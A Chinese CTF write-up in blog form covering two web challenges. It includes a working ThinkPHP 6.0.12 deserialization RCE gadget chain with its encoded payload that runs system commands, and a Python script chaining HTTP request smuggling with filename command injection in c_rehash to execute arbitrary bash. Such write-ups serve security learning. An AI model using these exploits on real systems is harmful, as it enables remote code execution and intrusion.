国赛wp-Web

h0cksr

发布于 2023-05-17 11:07:57

3210

发布于 2023-05-17 11:07:57

国赛wp-Web

又是被摁chui的一天,不过最大的遗憾是队友re爷lu1u最后估计是迟了一两秒没交上两百多分的babycode和PWN学弟caffeine与一道两百多分的pwn之间的一步之遥

Web第一题白给,直接搜tp版本漏洞就有poc; 第二题扫出个.DS_Store不过php文件却下载不下来,因为有个Someclass.php结合使用的是CL框架所以感觉可能是个的反序列化或者sql注入的题,不过看了半天也不知道要干嘛就没做了; 第三题有点坑,不知道是编码还是什么问题,经常执行任务出错带给我很多误导,人都麻了,比赛结束才出,但是并没有什么用; 最后一个第四题是个在内网curl的elf也没做出来,只能说最大的感受就是以后要分几步执行的题目再也不要人工手动活了~~~

虽然比赛被锤但是也学到一些东西,太cai了仍需努力吧只能说

WEB

Ezpop

dirsearch.py扫到www.zip，下载获得源码

在Index控制器有一个反序列化入口，结合题目描述直接搜索当前Thinkphp的版本(V6.0.12LTS)漏洞，直接在找到反序列化RCE的POC：https://www.freebuf.com/vuls/321546.html

<?php
namespace think{
    abstract class Model{
        private lazySave = false;
        privatedata = [];
        private exists = false;
        protectedtable;
        private withAttr = [];
        protectedjson = [];
        protected jsonAssoc = false;
        function __construct(obj = ''){
            this->lazySave = True;
//this->data = ['xxx' => ['dir']];
            this->data = ['xxx' => ['cat /flag*']];this->exists = True;
            this->table =obj;
            this->withAttr = ['xxx' => ['system']];this->json = ['xxx',['xxx']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

直接复制到页面反序列化获得flag

/index.php/index/test 或 /index.php?s=index/test

post:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22cat+%2Fflag%2A%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22cat+%2Fflag%2A%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

online_crt

题目直接给了源码,一个golang内网服务修改文件名,python服务负责生成cert文件和向golang服务代理发送修改文件请求并且可以列出/app/static/crt目录

访问/getrct生成秘钥文件并且返回文件名
访问/createlink查看生成秘钥文件的目录
访问/proxy向golang服务发送http走私请求修改文件名
再次访问/createlink触发脚本执行c_rehash

漏洞出在c_rehash中

这里的文件名$fname就是/app/static/crt目录下的xxx.cert文件,在这里可以进行命令注入

当文件名为";ls > 1.txt;"1.cert的时候就会出现命令注入执行ls > 1.txt

构造poc如下即可执行命令:

注: docker中无curl所以不能通过curl外带flag,这里应该执行cp /flag flag.txt在将/flag复制到当前目录下的/app/static/crt/flag.txt然后直接访问http://xxx/static/crt/flag.txt下载文件即可获得flag(离谱的是比赛的时候将base64解码后的数据交给bash执行有时候可以有时候不行还没写脚本太折磨人了)

import base64
import urllib.parse
import requests

def getrct():
    print("getrct")
    requests.get(url + "/getcrt", headers={"Content-Type": "application/x-www-form-urlencoded"},data="Country=CN&Province=a&City=a&OrganizationalName=a&CommonName=a&EmailAddress=a%40gmail.com&submit=").text
    return

def createlink():
    print("createlink")
    getrct()
    text=requests.get(url + "/createlink").json()["info"]
    for i in text.split("\n"):
        if ".crt" == i[-4::]:
            # print(i)
            return i
def listdir():
    print("check")
    return requests.get(url + "/createlink").json()["info"]

def geturi():
    uri = urllib.parse.quote(
    f"""/admin/renam%65?newname=1.cert"%3b{getcmd()}%3b"1.cert&oldname={createlink()} HTTP/1.1
Host: admin
User-Agent: admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GET /""")
    return uri

def getcmd():
    cmd=("touch `echo " + base64.b64encode(input("cmd#").encode()).decode() + "|base64 -d|bash`").replace(" ", "%20")
    print(cmd)
    return cmd

while 1:
    try:
        url = f"http://eci-2zeh4pj6hmpg0uiwjwvb.cloudeci1.ichunqiu.com:8888"
        uri=geturi()
        print(urllib.parse.unquote(uri))
        text = requests.get(url + "/proxy", headers={"Content-Type": "application/x-www-form-urlencoded"},
                            data="uri=" + uri).text
        for i in listdir().split("\n"):
            if not (len(i) == len("3da8d45e.2") and "." in i):
                print(i)
    except Exception as e:
        print(e)

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2022-5-30 1，如有侵权请联系 cloudcommunity@tencent.com 删除

web